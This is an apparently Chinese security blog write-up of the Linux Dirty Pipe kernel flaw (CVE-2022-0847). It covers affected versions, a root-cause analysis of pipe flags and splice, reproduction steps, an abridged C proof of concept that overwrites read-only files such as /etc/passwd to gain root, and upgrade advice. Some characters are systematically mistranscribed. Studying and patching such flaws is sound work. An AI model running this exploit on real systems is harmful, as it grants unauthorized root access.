关于安全:CVE20220847-Linux-DirtyPipe内核提权漏洞

3次阅读

共计 3766 个字符,预计需要花费 10 分钟才能阅读完成。

一、影响版本

Linux Kernel 版本 >= 5.8
Linux Kernel 版本 < 5.16.11 / 5.15.25 / 5.10.102

二、原理

Dirtypipe 破绽容许向任意可读文件中写数据,可造成非特权过程向 root 过程注入代码。该破绽产生 linux 内核空间通过 splice 形式实现数据拷贝时,以 ” 零拷贝 ” 的模式(将文件缓存页作为 pipe 的 buf 页应用)将文件发送到 pipe,并且没有初始化 pipe 缓存页治理数据结构的 flag 成员。若提前在内存空间中安排好“脏数据”让 flag 标记为 PIPE_BUF_FLAG_CAN_MERGE,就会导致文件缓存页会在后续 pipe 通道中被当成一般 pipe 缓存页,进而被续写和篡改。在这种状况下内核并不会将这个缓存页断定为 ” 脏页 ”,短时间内不会刷新到磁盘。在这段时间内所有拜访该文件的场景都将应用被篡改的文件缓存页,而不会从新关上磁盘中的文件读取内容,因而达成一个 ” 短时间内对任意可读文件任意写 ” 的操作,即可实现本地提权。

根因剖析
管道(pipe)是内核提供的一种通信机制,通过 pipe/pipe2 函数创立,返回两个文件描述符,一个用于发送数据,另一个用于承受数据,相似管道的两端。

在 linux 内核实现中,通常管道会缓存总长度 65536 字节,且用页的模式进行治理,总共 16 页(一页 4096 字节),页面之间并不间断,而是通过数组进行治理,造成一个环形构造。管道会保护两个指针,一个用来写管道头(pipe->head),一个用来读管道尾(pipe->tail),此处重点剖析 pipe_write 函数。

  • pipe_write 函数代码要害性能阐明:

[1]如果以后管道 (pipe) 中不为空 (head==tail 断定为空管道),则阐明当初管道中有未被读取的数据,则获取 head 指针,也就是指向最新的用来写的页,查看该页的 len、offset(为了找到数据结尾)。接下来尝试在以后页面续写。
[2] 判断以后页面是否带有 PIPE_BUF_FLAG_CAN_MERGEflag 标记,如果不存在则不容许在以后页面续写。或以后写入的数据拼接在之前的数据前面长度超过一页 (即写入操作跨页),如果跨页,则无奈续写。
[3] 如果无奈在上一页续写,则另起一页。
[4]alloc_page 申请一个新的页。
[5]将新的页放在数组最后面 (可能会替换掉原有页面),初始化页治理构造的相干成员。
[6]buf->flag 默认初始化为 PIPE_BUF_FLAG_CAN_MERGE,因为默认状态是容许 pipe 缓存页续写的。
破绽利用的要害就是在 splice 中未初始化 buf->flag 标记,导致 splice 传送的文件缓存页在 buf->flag 为 PIPE_BUF_FLAG_CAN_MERGE 时被当成了一般 pipe 缓存页。

  • splice 函数要害性能及破绽利用剖析

在上文提到的 pipe 通过治理 16 个页来作为缓存,splice 的零拷贝办法是间接用文件缓存页来替换 pipe 中的缓存页 (更改 pipe 缓存页指针指向文件缓存页)。

基于对 splice 函数代码和调用栈关系剖析发现 splice 函数通过调用 copy_page_to_iter_pipe 函数将 pipe 缓存页构造指向要传输的文件的文件缓存页。调用栈如下图:

  • copy_page_to_iter_pipe 函数要害性能:

[1]首先依据 pipe 页数组环形构造,找到以后写指针 (pipe->head) 地位。
[2]将以后须要写入的页指向筹备好的文件缓存页,并设置其余信息,比方 buf->len 是由 splice 零碎调用的传入参数决定的,此处唯独没有初始化 buf->flag

依据后面管道实现机制章节中对 pipe_write 的剖析可知,如果从新调用 pipe_write 向 pipe 中写数据,写指针 (pipe->head) 指向刚传送的文件缓存页,且 flag 为 PIPE_BUF_FLAG_CAN_MERGE 时,则 pipe_write 在写入长度不跨页的前提下,会认为能够持续在该页写,这样本次写操作就写在了本不该写的文件缓存页,如下图代码所示。

linux 将关上的文件放到缓存页之中,缓存页会保留一段时间,因而短时间内拜访同一个文件,都会操作雷同的文件缓存页,而不是重复关上。通过上文写缓存页的办法篡改了指标文件缓存页(即使指标文件没有写权限),导致在接下来的一段时间内所有应用这个文件的过程都会拜访被篡改的缓存页,从而实现短时间内对指标文件的写操作,进而实现本地提权。

三、复现

复现条件:

  • 攻击者必须具备读权限(因为它须要将页面拼接到管道中)
  • 偏移量必须不在页面边界上(因为该页面的至多一个字节必须被拼接到管道中)
  • 写操作不能跨页边界(因为将为其余部分创立一个新的匿名缓冲区)
  • 文件不能调整大小(因为管道有本人的页填充治理,不通知页缓存曾经追加了多少数据)

复现步骤:

  • 创立一个管道。
  • 用任意数据填充管道(在所有环条目中设置 PIPE_BUF_FLAG_CAN_MERGE 标记)。
  • 清空管道(保留 pipe_inode_info 环上所有 struct pipe_buffer 实例中设置的标记)。
  • 将指标文件 (用 O_RDONLY 关上) 中的数据从指标偏移量的后面拼接到管道中。
  • 将任意数据写入管道; 因为设置了 PIPE_BUF_FLAG_CAN_MERGE,因而该数据将笼罩缓存的文件页面,而不是创立一个新的匿名 struct pipe_buffer。

复现代码参见:https://github.com/Arinerron/…

1、创立 pipe;
2、应用任意数据填充管道(填满, 而且是填满 Pipe 的最大空间);
3、清空管道内数据;
4、应用 splice()读取指标文件 (只读) 的 1 字节数据发送至 pipe;
5、write()将任意数据持续写入 pipe, 此数据将会笼罩指标文件内容;
6、只有筛选适合的指标文件(必须要有可读权限), 利用破绽 Patch 掉关键字段数据, 
即可实现从普通用户到 root 用户的权限晋升, POC 应用的是 /etc/passwd 文件的利用形式。---------------------------------------------------------------------
static void prepare_pipe(int p[2]){if (pipe(p)) abort();

    // 获取 Pipe 可应用的最大页面数量
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 
    static char buffer[4096];

    // 任意数据填充
    for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }

    // 清空 Pipe
    for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

int main(int argc, char **argv){
    ......

    // 只读关上指标文件
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    ......
    // 创立 Pipe
    int p[2];
    prepare_pipe(p);

    // splice()将文件 1 字节数据写入 Pipe
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    ......
    // write()写入任意数据到 Pipe
    nbytes = write(p[1], data, data_size);

    // 判断是否写入胜利
    if (nbytes < 0) {perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }

    printf("It worked!\n");
    return EXIT_SUCCESS;
}

复现版本
Linux ubuntu 5.10.5-051005-generic #202101061537 SMP Wed Jan 6 15:43:53 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
复现截图
执行前

执行后,胜利将 /etc/passwd 里 root 的明码批改成了咱们设置的明码。这块的明码内容其实是存在于 page cache 中的,所以机器重启后会复原成原来的明码

四、修复倡议
倡议用户降级 Linux 内核到 5.16.11、5.15.25、5.10.102 及以上版本。

参考资料
https://mp.weixin.qq.com/s/6V…
https://www.anquanke.com/post…
https://dirtypipe.cm4all.com/
https://github.com/chenaotian…
内核 http://zhaoxuhui.top/blog/202…
虚拟机批改内核 https://blog.csdn.net/qq_4262…

正文完
 0